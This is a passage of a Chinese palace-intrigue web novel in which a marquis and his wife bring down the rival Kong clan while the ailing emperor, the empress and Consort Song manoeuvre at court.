自然是压宋贵妃一头的孔皇后。孔皇后代表谁? 代表着孔氏一族。 这攀攀蔓蔓之下,太子哪怕表面装着对凤仪宫的嫡母孔皇后亲近。 在亲疏有别。 孔皇后不眼瞎,不心盲。那太清楚了太子嘛,还是跟生母亲,跟亲娘舅很亲。 “殿下,不若斩草除根。断了 一些人的念想。“宋国舅心一横,他是讲了自己的看法。 大赵朝,燕京都,内城,新唐侯府。 万珍珠在做了羹汤。最近她有些上火。或者说心里有压力。 这不,排解了压力的法子便是煲汤。 这汤品,多是养生的。于是一家人喝一喝,也算滋补。 做一做事,养一养静气的功夫。 “娘,不喝,不喝。” 哪怕再好喝的汤,喝多了,小孩儿安康也不喜了。 瞧着大孙的作派,牛二囡笑一回。 “我儿,你这做事,倒是一根筋儿。瞧瞧,让我家的大孙多难受。” 牛二囡跟女儿打趣一句。 “安康不喜,那便不喝。”万珍珠讲道。 好大儿安康是一个活泼的孩子。这不,亲娘一说可以不喝。 安康高兴的欢呼一回。尔后,便是开开心心的下了桌。 安康准备去玩耍了。 吃吃喝喝,再是玩耍。这是小孩子世界的全部。 “瞧你近日,总是煲汤。怎么,爱上了煲汤?”牛二囡好奇的问了女儿。 “又或者你遇上了烦心事?”牛二囡关切的又问一回。 “我想锻炼了厨艺。娘,你啊,尽是想多了。”万珍珠在事情没闹出来前。 她就不多讲,也免得让亲娘担忧。毕竟那一种事情悬着,只能等待的感觉,可不好受。 如果可以的话,有些压力万珍珠自己担着。 万珍珠更想让亲娘享了天伦之乐,享了岁月静好。 至于万珍珠自个担的压力,她是自己乐意。 因为当初成婚时,她跟夫君有约定的。 他们夫妻,一体同心。不隐瞒,不撒谎。 因为二人都坦诚过,他们不考验了彼此。真心相待,经营小家。 如今的赵济世做到了,万珍珠自然也要担起自己的责任。 新唐侯府的主母,挑起担子,这是自己的选择。 万珍珠觉得压力大些,她是受得住。 只在心头,万珍珠还是祈祷,祈求上苍保佑,让一切结果向最好的方向前进。 大赵朝,燕京都,皇宫,凤仪宫。 孔皇后侍疾归来,又是受累的一天。她的心累。 在帝王跟前,哪怕帝王在病中。 可孔皇后还是紧绷了精神。她怕,哪一处出差子。 真是小事坏了要紧处。那不是孔皇后希望的。 “皇后娘娘。”陪嫁嬷嬷凑上前,在孔皇后喝了一些贡茶,还是歇歇精神时,小心的禀了一番话。 听罢陪嫁嬷嬷的话,孔皇后一下子收敛了疲惫。 孔皇后的眉眼之间,神情锋锐起来。 “父亲胆大啊。”孔皇后感慨一回。 “家族办事,如今张扬,致本宫于何地?”孔皇后不高兴。 陪嫁嬷嬷做为皇后心腹,对于皇后心思,那了解的很。 可陪嫁嬷嬷还有家人,家人也是依附于孔氏一族。 这会儿的陪嫁嬷嬷小心讲道:“皇后娘娘,那依您的意思是……” “依本宫之意,父亲就当老实。以待天意,以待皇恩。” 孔皇后的心里,一动不如一静。 她的将来,保准一个皇太后的位置。如此,安居高位,守住高位,那才是要紧的。 乱动做什么? 真当承顺帝这一位天子病了,便是真龙不是真龙,成了病虎。 那谁都敢张牙舞爪,胡乱伸手不成? 对于家族的胆大,孔皇后很不开心。毕竟家族想要与洪氏一族走近。 更想掺合了夺嫡之争? 这让孔皇后想骂人,骂家族的昏聩之辈,那是鬼迷心窍,糊涂透顶。 要知道如今瞧着帝王病重。孔皇后睡觉都不敢踏实。 就差睁一只眼睛,闭一只眼睛了。因为这等时候的帝王很危险。 孔皇后太怕,怕帝王一心狠,拉了哪些人陪葬了。 孔皇后有未来的尊荣等着享受,可不想做了皇权,不,应该是将死天子的陪葬品。 “嬷嬷,给家族递话,让父亲约束族中。如今一切待天子裁决。做忠贞孝子,才是好臣子。” 孔皇后说得急言厉色。 陪嫁嬷嬷给吓唬一跳,忙是应下。 凤仪宫里发生这一桩事,让孔皇后的心情更坏了。 皇宫,泰一宫。 承顺帝醒来,也听着身边的大伴全公公禀明了燕京都与皇宫的关键事。 至少全公公觉得有必要的,一定会禀明了天子。 特别是关乎了东宫与皇子的事情,全公公可不敢懈怠。 于是孔氏一族的一些小动作,下面人查清楚后。 全公公早早禀明了天子。 如今再讲,不过是讲了孔皇后的态度。 “哈哈哈……”承顺帝捂嘴笑一回。笑罢,又是咳嗽一回。 “朕瞧,皇后与家族不是一样心思。有趣,有趣。” 承顺帝对于孔皇后考校了太多回。 不得不承认,皇后是识趣人。 至于孔氏一族吗? 想着妻族,承顺帝的眼中有冷光闪过。 “世家世族,真是华表贵冠,心思远见,筹谋未来。”承顺帝越讲话,声音越冷。 “可彼辈,当朕是死人啊。” 这话一出,全公公听着帝王之言,他背后都冒了冷汗出来。 第100章 大赵朝,燕京都,皇宫,泰一宫。 承顺帝看着面前的臣子,宋国舅心在颤抖。 而赵济世很冷静。 “臣愿意效劳。”赵济世恭敬回话,道:“请陛下给予臣机会,让臣尽忠。” 承顺帝的目光落在赵济世的身上,尔后,又瞧一眼宋国舅。 在心头,承顺帝一声叹息。 这一个东宫太子的亲舅舅,是胆气不足?还是不想得罪人? 此时,承顺帝的目光落在新唐侯的身后。又是感慨,道:“赵爱卿忠贞一片,朕是相信的。” “去吧。” 承顺帝应下赵济世的请词。 “你去替朕办妥这一桩事情。”承顺帝的目光落在赵济世的身上。 至于宋国舅,承顺帝深深看了一眼,尔后,收回目光。 “朕乏了,尔等退下吧。” 这时候的承顺帝摆摆手。 “臣告退。”赵济世和宋国舅恭敬离开。 等臣子离开后,承顺帝一下坚持不住了。 他捂了胸口,咳嗽起来。 “药。”承顺帝唤一声。 此时,承顺帝跟前侍候的全公公赶紧递上药。 那药早备好,只待帝王接见了臣子后,便是呈上去。 如今的承顺帝离不得药。没这药,他真没精力接见了臣子。 如今不过是靠着药来吊着生机罢了。 泰一宫外。 宋国舅瞧着赵济世,他道:“赵兄,今遭,累你一回。” 在心头,宋国舅真感激。 这时候的宋国舅感激自己之前的醒神。那是跟赵济世一道拜见天子。 若不然的话,今天的大黑锅任务,那肯定落自己头上。 宋国舅可不想掺合。或者说,他真没那胆量。 毕竟如今的宋氏一族已经富贵在望。 只要老实的等着,前程无量。这等时候的宋国舅是巴不得等等。 让宋国舅冒头去大事,宋国舅不敢。当然,了支使别人去干嘛,宋国舅是挺敢的。 在宋国舅的心底,今个这一桩事情嘛,会闹大。 宋国舅早早出了不少力。 只见着如今的结果,让帝王大怒,要下狠手。 面上宋国舅还是担忧。 在心底,宋国舅可开心了。他真想大笑一场。 笑曰:孔氏一族,该。 “我不过尽些臣子本份。陛下天恩,唯以报之。” 赵济世说的干脆利落。 “国舅爷。”这会儿的赵济世又压低了声音。 “这等事情,我去办。也是替太子殿下一解忧难。您不成,您是太子殿下的母族舅舅。您若插手,容易引了非议。” 赵济世是一幅替宋国舅分忧的态度。 “我知,赵兄,你是好人呐。”在宋国舅的眼底,他真这般认为。 赵济世听着这话,只是平静。 好人吗? 这一个标签咋的,赵济世一点不在乎。 或者说今日的一切,宋国舅有推动。可点火之人,那是赵济世。 最开始给宋国舅暗中支了招的是赵济世。只是他隐了自己的主意。 不让人知道他是点火之辈。 宋国舅是乐意的,还是大大方方,努力的把火燃了,燃得更大。 当然,这些事情会出现,不外乎,那是孔氏一族真有漏。 凭白污人,那不成的。 真当承顺帝这一位帝王是任人摆布不成? 只有真相,才可能让帝王相信。 因为真相,有时候比虚假更伤人,更让人难以接受的。 而帝王嘛,一言裁决天下。 让帝王感受到了威胁时,特别是一位将死的帝王。 那后果,谁偿,谁知道。 这时候的赵济世告别了宋国 舅,他要去办事。 掌御林卫左统领一职。赵济世想办事,在燕京都里,那是手拿把掐。 越是如此,越要拿了圣旨。 这不,赵济世还要去写奏本,呈明宋氏一族的罪。 人证物证,样样俱全。 这些,全公公给赵济世送了样。 或者说不需要全公公给送样,赵济世早查着。 毕竟宋国舅拿着的证据,赵济世可是帮衬着递了线索。 等上命的时候,赵济世心情还不错。毕竟大仇将报。 那一个没能降生的孩儿,还有暗杀妻儿的举动。 这等不死不休的仇怨,赵济世可记得。一直记得。 承顺四年,燕京都出了大事。 新唐侯呈奏本,状告孔氏一族谋逆之举。尔后,帝命严查。 新唐侯得圣意,先围孔族。再查罪证。 一时之间,燕京都里,人心浮动。 大赵朝,燕京都,皇宫,泰一宫。 承顺帝本来睡着了,一醒来,全公公向帝王禀报消息。 “陛下,皇后娘娘脱簪谢罪,如今跪于泰一宫的大殿外。” 全公公赶紧的说了目前的情况。 承顺帝听了,只是静静的听着。 “皇后想跪,便让她跪吧。” 承顺帝不想理会。 帝王不想见皇后,全公公当然是一个好的天子心腹。 那肯定顺着天子心意办事。 于是这一日,请罪的孔皇后是跪昏厥了过去。 宫廷内苑。 宋贵妃听着心腹宋嬷嬷讲了这一桩事情。只听了一回热闹。 “哼,凤仪宫也有今天。”宋贵妃心头可开心了。 毕竟孔皇后落难,孔氏一族完了。 光想想,宋贵妃就开心的很。 “嬷嬷,你说皇后会不会被废掉?”宋贵妃问道。 在宋贵妃的心里,她太想做皇后了。当了皇后,再当太后。 那就是更名正言顺的皇太后。毕竟,不与人共尊。 独享了未来的皇太后尊荣,光想想,宋贵妃就太开心了。 一直以来,世家出身的孔皇后压一头。宋贵妃的心里可不得劲儿的很。 “孔氏一族大逆不道,想必陛下看在太子殿下的脸面上。一定会废后。这天下,舍娘娘,还有谁能添居了中宫之位?” 宋嬷嬷一派与有荣焉的样子。 在宋嬷嬷的心底,也是盼着自家主子荣登皇后宝座。 “这一想,确实有道理。”宋嬷嬷的话,那太符合了宋贵妃的心思。 大赵朝,燕京都,内城,宁国公府。 宁国公这一日下差后,还是传了幕僚。与其商量一些事情。 “陛下心狠。”宁国公感慨一回。 “妻族不得用,便是废之。心腹臣子,那也是当了刀子。” 在宁国公的嘴里,赵济世这一位新唐侯自然是刀子。 要知道新唐侯看着威风,可那又如何?这办了世家世族,还是一直替东宫冲锋在前,也不知道得罪了多少大族。 待将来,可有的人在背后谋算了。 为何? 因为新唐侯办事,他哪怕随了圣意。有些人不敢恨天子,可敢恨办事的新唐侯。 人嘛,从来是抽刀向弱者。 真向皇权抽刀之辈?历代以来,少之又少。 无它,没那胆量。 当然,更可能也没有那一份见识。或者说,想也不敢多想的。 宁国公敢嘀咕。 那么,办事的新唐侯赵济世,那真的敢办事。 可谓是替天子冲锋在前。 只这等事情,赵济世办的认真。办的心甘情愿。 晚间,新唐侯府。 寝屋,夫妻夜话。赵济世揽了妻子,二人独处。 赵济世讲道:“珍珠妹妹,我们那一个不曾得缘见一见的孩子,他的仇,很快就能报了。” “……”万珍珠听着这话时,她伸手,抚了自己的小腹。 这儿,确实曾有一个孩子的。 可惜,她没能守住孩子平安降生。万珍珠很遗憾的。 “济世哥哥,我们再努力一回。我相信,这个孩子与我们是有缘的。孩子一定会再投胎,再做了我们的孩儿。” 万珍珠搂着夫君的腰,她的话语里有期待。 “嗯。一定是这样的。”赵济世也愿意相信了妻子的话中之意。 “这一回,孔氏一族完了。”赵济世的唇畔带了笑意。 一个世家大族要完了。它的倒下,会肥了很多人。 新唐侯府当然也能吃一嘴。 “妹妹,这一回你也能收回一些损失。总归,补一补。”赵济世挺高兴的讲道。 “不必了。” 万珍珠揽着夫君的腰。 “济世哥哥,你一片忠贞为陛下。这等银钱之事,不必在意的。” 万珍珠这会儿很认真的讲道:“我只盼你好好的。那些钱财等身外之物,不是那么重要的。” 其实吧,在万珍珠的心里,钱财很重要。一直很重要。 可跟夫君一比,舍一些钱财,那真不要紧。 赵济世挺感动。因为是夫妻,他更了解枕边人。 瞧瞧,枕边人舍了爱的钱财,还是想维护了他。 这是什么?这是人间真情。 “好,全依你。”赵济世应了妻子的好意。 钱财什么的? 赵济世没想大吃一嘴。毕竟,有些利益交换了,更能拿了好处。 赵济世是冲锋在前,是办了一些事情。更可能得罪一些世家世族。 那又如何? 倒了孔氏一族,更可能拉拢一些利益联盟。毕竟实在的利益太动人心了。 赵济世不贪不占,他想拉揽人脉罢了。多结交盟友,多留退路。 赵济世怎么能算错呢?他只想保护妻儿罢了。 这会儿的赵济世揽着妻子,揽的更紧。 他俯下身。他的呼吸落于妻子的耳畔。 “珍珠妹妹,天晚了,我们今个就努力一回。总归要给安康添了弟弟妹妹。往日不成,今日好运,许是成了。” 赵济世笑道。 听着耳畔的话语,感受了温热的呼吸。万珍珠也笑了。 对于造小人这一件事情,万珍珠无异议的。 “好。”万珍珠应了。 赵济世吻了妻子的耳根子。 这会儿夫妻二人情意绵绵,夜更深,可谓是情正浓。魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m 100-110 第101章 孔氏一族被下狱,抄家,关押,一切待上命。 哪怕孔氏一族落泥里,可宫里有一位孔皇后。 在世人眼中,万一呢?万一可能再崛起。 当然,也只是万一。 对于赵济世而言,他当然不会给敌人机会。 牢狱里。 赵济世亲自走一趟,他见一见孔家主。 至于跟随而来的护卫与狱中的狱卒,赵济世使了一个眼色。 贴身小厮给狱卒打赏。尔后,赵济世是客气的请狱卒暂时离开一会儿。 狱卒不傻,这等时候很识趣。拿着打赏,开开心心的告退。 至于护卫与小厮等,赵济世一样没留人。也是挥退了。 此时,这孔家主是被单独关押的。 谁让孔家主也是一方人物,应该有的体面,还是会有的。 毕竟孔皇后还是中宫,不是废后。 “见过国丈。”赵济世待孔家主的态度,那是十分客气。 “原来是新唐侯赵大人。”孔家主瞧见赵济世的拱手做礼,客气态度。 孔家主这会儿的心中生出来一点期冀。他问道:“可是陛下查明,孔氏一族,嫡脉冤枉。” 孔家主是家主,他这一脉,那肯定清清白白。 至于干坏事的?有。 这一点孔家主自己就很清楚。因为他是嫡脉,他是家主。 孔家主就要一份光鲜与体面。 可一个家族,不止是有光明的一面,还有阴暗的一面。 那么,谁去当阴影里的侩子手? 这不需要多想,指定是庶脉的人去脏了手。 嫡脉嘛,自然是清清白白,干干净净。 “国丈,何出此言。”赵济世轻轻摆手。 “孔氏一族,抄家关押,自然是人证物证俱全,不提触犯的大赵律法,只人命 官司就有十数桩。” 赵济世讲着这些话时,他停顿片刻。 人命官司,这问题严重吗?在黎庶百姓眼中,真的人命大如天。 毕竟死了,真就死了。 对于黎庶百姓而言,可盼着青天老爷做主的。 在燕京都的贵人圈子里,人命?人命如草芥,一点不值钱。 就说皇宫,哪一年,哪一月,那不是死些人头数。 可那又如何? 不明不白死了,便是死了。 主子们关心吗?那些主子在意的,当然很要紧。 可不在意的? 死了,也是白死。 最后的结果,也不过是一条命,一捧灰。 孔家主不甘心。 赵济世瞧得出来,赵济世的嘴里还是念了几个名字。 这几个名字一念,孔家主的神色变幻,更是精彩。 那是孔氏一族伸手,伸进了禁军里的手。当然,还有伸进了泰一宫和东宫的人脉。 这些,才是孔氏一族真倒霉的真相。 因为孔氏一族让承顺帝不满意了。那把帝王当死人。 谋后路,这没错。 可有些事情,办得太露骨,让帝王不满意。 那么,可能真要死人,还要死很多人的。 赵济世做的不多,只是让孔氏一族的野心,以及有实现野心的能耐,那是一一摆在了承顺帝和东宫的面前。 毕竟宋国舅在里面出力良多。 查出来的,那全是宋国舅在捣鼓。宋国舅亲力亲为,也不为旁的。 只为东宫安稳。 在承顺帝的眼中,宋国舅没错。宋国舅替东宫盯紧了,做了东宫眼睛,那就是忠心。 甭管这一份忠心,那不是有私心。便是有私心,也不重要。 重要的是宋国舅挖出了野心家。 “陛下全知道了。”孔家主讲话的声音很苦涩。 “国丈明鉴,陛下想知道的,自然会知道。”赵济世这回答,那自然是告知了孔家主,确实是天子意思。 “……”孔家主沉默。 “臣有罪。”孔家主这时候想通了。 承顺帝摆明了要收拾孔家。硬顶,那是顶不住。 说抄家,承顺帝真让人抄家了。 孔家主自己怕死吗?怕。 可孔家主更怕家族遭了大难。若有机会,孔家主还是想给家族留了东山再起的机会。 孔家主跪下来,向着皇宫的方向跪下。 “看来国丈是想通了。”赵济世感慨一回。 “那么,便请国丈不要让陛下为难了。”赵济世平静的讲道。 讲罢,赵济世离开。 尔后,狱卒出现。赵济世瞧一眼狱卒,只道:“好好照顾国丈。” 赵济世离开时,孔国丈安好。 次日。 狱中传出消息,孔家主自尽而亡。死前,留有一道血书。 书于布帛之上,满是愧疚于自己的大罪。 罪在不能替帝王分忧,不能治家,以致于族中尽出无能之辈,犯罪之辈。 总而言之,在孔家主的认罪书里。出错的是孔家主与其家族。 万方有罪,罪在臣躬。 大赵朝,燕京都,内城,新唐侯府。 哪怕是女眷呢,万珍珠还是知道了最新的消息。 孔家主死了。 不止如此,待夫君归来后,从夫君嘴里,万珍珠还知道宫廷内苑的消息。 孔皇后重病。 孔氏一族瞧着,那是前途不妙的很。在这等时候,孔氏一族也是风雨飘渺。 这一日,夕食特香。至少万珍珠用着,那是香满口。 于是这一日的夕食,万珍珠还是多用了小半碗饭。 待夕食罢。 一家人消消食。赵济世陪着好大儿安康玩耍一会子。 牛二囡留了女儿说话。 牛二囡的目光落在女儿的肚子上,仔细的瞅几眼。 “瞧你,胃口好。那月事可不迟了,是不是有喜了?”牛二囡以过来人的身份,关切的问一问亲闺女。 “……”万珍珠尴尬一回。 “娘,这没怀上。”万珍珠肯定的回道。 “……”牛二囡一听女儿这话,她的眼中,有一抹的失望。 “瞧着安康一天大一天。小孩儿长得快,一阵子一个模样。”牛二囡数一数好大孙的情况。 “趁着年青,你和女婿的感情好,你们夫妻可得多生几个孩子。”牛二囡笑道:“娘啊,最盼着孙儿辈们多多。” “……”万珍珠听着亲娘又催生。她听一听。 反正亲娘讲话,她不反驳,就是听一听。 偶尔,再是吱应几声。让亲娘说的开开心心。 笑一笑,十年少。指不定亲娘的寿数还能多多。 待着消好食。 安康留了姥姥的院子歇息。于是万珍珠和夫君一道,便是二人漫步回了正院。 夫妻漫步,赏月赏景,更是欣赏了枕边人。 此时有一种岁月静好的感觉。 “娘又催我,让我赶紧的给安**了弟弟妹妹。”万珍珠笑语晏晏。 “是我无能,没能让珍珠妹妹快些怀了孩子。如此,才会让岳母大人心里忧虑。”赵济世的话中带着笑意。 “今个晚,我与妹妹再努力。”赵济世握着妻子的手,还是握一握。 “好。”万珍珠应了。 等着真回寝院。 二人还是先沐浴,这一回,自然是洗一回鸳鸯浴。 老夫老妻,也是配合。 只不过是一回的沐浴,稍稍多用了一些的时间。 那热水,也是叫了两回。 等沐浴好。 二人换了衣裳,再是回了寝屋。 此时,二人一道躺于榻上,二人相拥。万珍珠的头枕在夫君的怀中。 万珍珠能听见了夫君的心跳声。噗通噗通,很有力。 此时的月夜下,夫妻二人单独相处着。屋内,烛光微亮。 烛光之下,夫妻二人的相处颇是温馨与暧昧。 可这般的温情里,赵济世有心情跟妻子说说笑笑。 说一说府中趣事。再然后,赵济世提到了燕京都的大小事。 “孔国丈死了。”赵济世说道:“他死了,孔氏一族注定翻不身的。” “人证物证,哼,这一回,孔氏一族一定要吃了大挂落。” 赵济世很肯定。 因为在孔家主死后,赵济世干的事情不多。 不外乎,透过宋国舅的嘴,让宋氏一族给宋贵妃吹了耳旁风。 有家族的吹风,宋贵妃便是向承顺帝吹一吹枕旁风。 有些话,宫廷内苑的嫔妃讲了,很具有杀伤力的。 特别是宋贵妃的身份还不同,她是东宫太子的生母。 宋贵妃的一举一动,一言一行,那拱着东宫太子做牌坊。 “贵妃向陛下进言,孔国丈死的惨,就怕皇后心生怨对。” 赵济世说了宋贵妃的话。 宫廷内苑,贵妃之言,赵济世能知道。当然不是赵济世在泰一宫安插什么人手。 而是这些话,那就是赵济世差人在宋国舅那儿嘀咕的蛐蛐之语。 版本最初,在宋国舅那儿。 等到了宋贵妃的耳朵时,那是 二版了。 至于进了承顺帝的耳朵,那是好几个版本之后的事情。 “皇后怨对不怨对,那不要紧。要紧的是陛下在意了。” 赵济世说的淡然。 “济世哥哥之方,很有道理。”万珍珠感慨一回。 “贵妃娘娘是太子生母。贵妃娘娘心忧太子安稳,实属一片慈母之心。毕竟有血缘关系跟没有血缘关系,那大不同。” 万珍珠这般跟夫君讲道。 “是啊,也不知道陛下如何想法?”赵济世在猜测。 对于承顺帝后续的做法,赵济世很关注。 因为赵济世和万珍珠这一对夫妻,那就想踩掉孔氏一族。 不止孔氏一族,还有孔皇后。 因为孔皇后不倒台,孔氏一族真是绝地翻身。 那赵济世和万珍珠这一对夫妻绝对会很遭心的。 踩敌人嘛,那肯定是踩死为好。 第102章 大赵朝,燕京都,内城,宁国公府。 国公夫人听着陪嫁嬷嬷的话,微微点头,表示赞同。 “新唐侯夫人确实是识趣人。”她笑着一指旁边的礼单子,道:“瞧瞧,一场聚会,府上是主办的。新唐侯夫人借着机会,还是送了重礼。” “这一回孔氏一族倒台,新唐侯是亲自操办之辈。这里面的油水多丰厚,不眼瞎的,尽能猜测一二。” 在宁国公夫人的心里,新唐侯替天子办事。还是办了孔氏一族这样的世家世族。 那上下齐手,在里面办事,又岂有吃亏的道理。 赵济世当然按着潜规则是拿了不少好处。 可那些好处,赵济世没用在新唐侯府半分。 而是分润了。 做人做事,对于赵济世而言,钱财虽好,拉拢盟友更重要。 这不,宁国公府得了重礼,也是拉拢的一环。 毕竟,真在孔氏一族的倒台里吃一嘴。将来,那里面的文章可有说道。 总之,在孔氏一族的倒台里,一旦拿了好处。 那么,没人会想让孔氏一族东山再起。 因为利益拿了,再吐出去?一般人是办不到的。 赵济世能办到,那是他还有更大的奢望。若不然,赵济世也不是什么舍自己,为旁人的大圣人。 这一厢,宁国公夫人夸一回新唐侯夫人。 那一厢,归府后,万珍珠便是去了亲娘的院子坐一坐。 在万珍珠的心中,这些日子忙碌着去各府送礼。 走女眷与夫人路线,那是各处陪了笑脸,送了好处。当了散财女神。 问万珍珠什么心情? 心情还不错。毕竟这是借花献佛。只是油水过一手。 对此,万珍珠早有心里准备的。 钱财,她爱之。可若是能报仇的话,踩了仇人,让对方十辈子都爬不起来的话。 万珍珠不介意在钱财上损失的大一点。 反正钱财嘛,财来财去,总归会挣回来的。 可仇人一日不踩下去,万珍珠一日不心安。 “瞧你今个回来,气色不错。心情挺好。”牛二囡瞧着闺女言笑晏晏的模样,她打趣一回。 “来娘这里吃一盏茶,我们娘儿俩说说话,我心里高兴。”万珍珠吃吃茶,跟亲娘嘀咕一番燕京都的趣事。 这时候是岁月静好,她当然欢喜的很。 “娘。” 安康这会儿也凑上来,凑亲娘跟前。 “你瞧,我写的大字。”安康巴巴的递上自己写的字。 小孩儿就一样想法,想得了亲娘的夸赞。 “唉呀,瞧瞧,我家大孙安康这一张大字写的真好。”牛二囡在旁边瞅一眼,赶紧夸一回好大孙儿。 万珍珠拿过好大儿的大字,她也仔细的瞧一回。 大字,真的大大的字。个个是顶顶的大。 一张大字,不过几字。 要说多好?真不至于。可小孩儿年岁小,今年秋,便是满四周岁的生辰。 在这等年纪,写了大字,写的清楚。在万珍珠眼中,确实不错了。 “好。”万珍珠夸一回。 夸罢,还是摸一摸好大儿的头。她笑道:“等你爹回来,可得让你爹夸一夸。我家安康,也是识字的儿郎了。” “娘,我不止识字。”安康挺一挺小胸膛。小孩儿可骄傲的模样。 “我会算数。”安康眨巴眨巴大眼睛,还是一幅亲娘考一考的模样。 “对,安康会算数。今个,娘就考一考安康。” 万珍珠这会儿乐得考一考孩子。 “一加二,等于几?”万珍珠跟小孩儿问道。 安康一个不满四岁的宝宝,他一听亲娘问话。 这不,扳指头数一数,大声回道:“一加二等于三。” “三加三,等于几?”万珍珠继续问道。 安康这会儿又继续的拿着指头数一数。尔后,昂一昂头颅,特骄傲的回道:“三加三等于六。” “啪啪”在旁的牛二囡听着大孙儿的算数,一算就对。 牛二囡连声夸了小孩儿。 那夸的,让万珍珠替自家好大儿都要不好意思。 不过瞧着亲娘开心,瞧着小孩儿自个识字写字,学算数,也是学的认认真真。 于是万珍珠不打算打击了小孩儿的自信心。 毕竟求上进,自己一心求学问,那态度很好的。 这会的万珍珠就想当慈母,就想夸一夸自家的宝宝。 至于万一,将来孩子成了雄孩子,那怎么办? 万珍珠表示请家法,请枕边人当了严父呗。 一时之间,院内欢声笑语,好不快活。 笑容嘛,从来是有人开心,便是有人不开心。 大赵朝,燕京都,皇宫,凤仪宫。 孔皇后病了,睡睡醒醒,孔皇后自己觉得她可能撑不住。 特别是知道亲爹没了的那一日,孔皇后当场吐一回血。 如今再想求天子,可孔皇后连身都起不了。她在病中,真是浑身无力的很。 宫廷内苑。 关于凤仪宫的一举一动,宋贵妃关注的很。 在陪嫁嬷嬷跟前,宋贵妃还是嘀咕一回。她道:“皇后真是命硬。这真病成什么样,还是拖来拖去,就不肯去死一死。” 哪怕在宫中,宋贵妃也是不遮掩了什么。 这话一出,陪嫁嬷嬷都给吓唬一跳。毕竟有些话嘛,只做不说。 偏生宋贵妃就是讲了。 陪嫁嬷嬷给唬住。奈何,这是一辈子栓在贵妃娘娘的身边,注定了主荣仆荣。 陪嫁嬷嬷只能瞧了贵妃的眼色,也是附合一二。 可不敢劝,就怕真的得罪了贵妃娘娘。那是眼瞅着贵妃娘娘要青云直上,化为真凤凰。 在这等关键的时候,哪能让主子给一脚踢走。 在主子跟前露脸的机会,从来是少的很。奴仆之间的竞争,那也是激烈的很。 陪嫁嬷嬷能怎么办?当然是顺从了贵妃的心思。 跟着贵妃一起唾弃了孔皇后。 只私下,陪嫁嬷嬷可是盯得紧,可不敢让贵妃寝宫出了二五仔。 就怕一些非议之言,那是传了出去。 在陪嫁嬷嬷的心底,这些非议之言传出去。贵妃不一定有事。 可她这等贵妃跟前的奴仆嘛,八成会有事。 皇宫,泰一宫。 殿外,全公公亲自迎了马昭仪。这一位新唐侯的义妹。 目前瞧来,也算是承顺帝的宠妃。 当然,这等宠妃,那是大大的有一个怀疑。 毕竟,宠妃不宠妃? 这得看跟谁比,跟贵妃一比。膝下无嗣的马昭仪的前程吗? 那就很飘渺的。 “谢全公公。”马昭仪,或者说马小莲在全公公跟前,态度客气的很,可不敢拿大。 进了殿内,马小莲向帝王参见大礼。 “臣妾恭请陛下圣安,吾皇万岁。” “免礼,平身。” 承顺帝瞧着马小莲,示意对方走上前,靠近些。 在靠近些后,马小莲瞧见了如今的帝王。也是好些日子没见着。 毕竟帝王病重,只皇后侍过疾。其它嫔妃,那在宫廷内苑只能替天子祈福。 马小莲是祈福的一员。 如今再见天子,瞧着天子如今的精气神。马小莲心头是担忧的很。 做为天子后妃,如果天子不好了,马小莲是担忧前程。 不止她自己的前程,她担忧了兄长的前程。 前朝后宫,总归是一荣俱荣,一损俱损。 马小莲是非常有家族责任感的。谁让她一进宫,也是沾了兄长的光。 不止亲兄长的光彩,便是义兄新唐侯的光彩,马小莲也是占了大便宜的。 就说晋封昭仪一事。 凭的什么? 马小莲自己很清楚,她越过了太多的宫中老人,一举成了九嫔之首。 凭的就是新唐侯这一位义兄,那是天子心腹,还是太子东宫的头号肱骨重臣。 “陪朕说说话吧。”这会儿的承顺帝似乎想跟马小莲讲一讲温情。 这帝王有感情吗? 马小莲在宫廷内苑生活这般久,她不报幻想了。 越是帝王温情三分,马小莲的一颗心那是提了三分。 “能陪帝王闲谈趣事,可是臣妾的福气。”马小莲笑语晏晏,一幅很欢喜的模样。 既然帝王想聊,马小莲当然是奉陪着。 只在闲聊片刻后,帝王转了神色。他的目光落在马小莲的身上。 “爱妃,你乃朕心中的好女郎。又是一心一意待朕。” 在承顺帝的嘴里,只夸了马小莲。 免不得的,又暗示三分。承顺帝的暗示,便是想给马小莲再晋封了位份。 九嫔之首,再往上晋封? 是妃位?还是更上一层楼。马小莲要说不多想,那不可能。 只帝王点到即止。尔后,帝王的精力安乏了,让马小莲告退离开。 待马小莲从泰一宫的主殿离开。在外面,全公公凑了马小莲的身畔。 “昭仪娘娘,陛下待您,自然不同。”全公公客客气气。 “奴才斗胆,也请娘娘替陛下分忧一二。”全公公还是偷偷的讲了几句。 这话落入了马小莲的耳中,那是让她心湖颤抖。 “……”马小莲讷讷无言,一时之间,有些花容失色的感觉。 全公公瞧着马昭仪这般模样。只在心中感慨一回:马昭仪瞧着胆量小,会不会不中用啊。 这一遭,从泰一宫离开,马小莲是心神难安。 可再是心神不安。马小莲还是从了全公公的建议。 马小莲一出泰一宫,一会上了辇轿,便是吩咐宫人去一趟宋贵妃的寝宫。 第103章 孔皇后这一病,病的很严重。孔皇后对于自己的将来不报希望了。 可她还是不想死的。 奈何,许是在帝王眼中,她这人应该去死。 “嬷嬷。”孔皇后唤了自己的陪嫁嬷嬷。 她轻声的耳语几句。陪嫁嬷嬷的眼中有害怕的光芒。 最后的最后,嬷嬷还是点点头。 待陪嫁嬷嬷离开后,孔皇后轻声笑了。这笑,似乎比哭还要难堪。 宫廷内苑。 宋贵妃见着来拜山头的马昭仪。对于马昭仪这等新宠。 宋贵妃心里膈应着。 可为了太子的位置安稳,像是马昭仪这等背后有人的。 宋贵妃还是要拉拢了。 “马妹妹。”宋贵妃瞧着马昭仪,笑着请人落坐。 “快请坐。” 二人皆落坐,不过凑趣几句。马昭仪一直是乐意捧了宋贵妃。 谁让宋贵妃的前程大着。 只在心头,马昭仪还是记着帝王的吩咐。 在心头,马昭仪是害怕的。因为帝王需要马昭仪吩咐的事情。 那是给娘家人递消息。 递什么消息? 那事情就太大了。 这会儿的马昭仪还求了宋贵妃,她道:“娘娘,您掌着宫权。” “这宫里上下,全指着娘娘的辛苦,如此,才是各安各处,各有章程行事。”马昭仪小心的奉一回。 “妾来,便是想向娘娘求了一个恩典,想见一见娘家的嫂嫂。”马昭仪说了自己的来意。 若是旁人来求,宋贵妃一定不允。 真当宫廷的规矩是什么,一求就允吗? 可来求话的人是马昭仪,于是宋贵妃笑着应允了。 毕竟求人办事,这得看求话的人是谁。 像是马昭仪一求,宋贵妃抬抬手,那就行一个方便。 宫外。 得着宫廷里的消息,马昭仪想见一见嫂嫂。 这嫂嫂自然是二人。 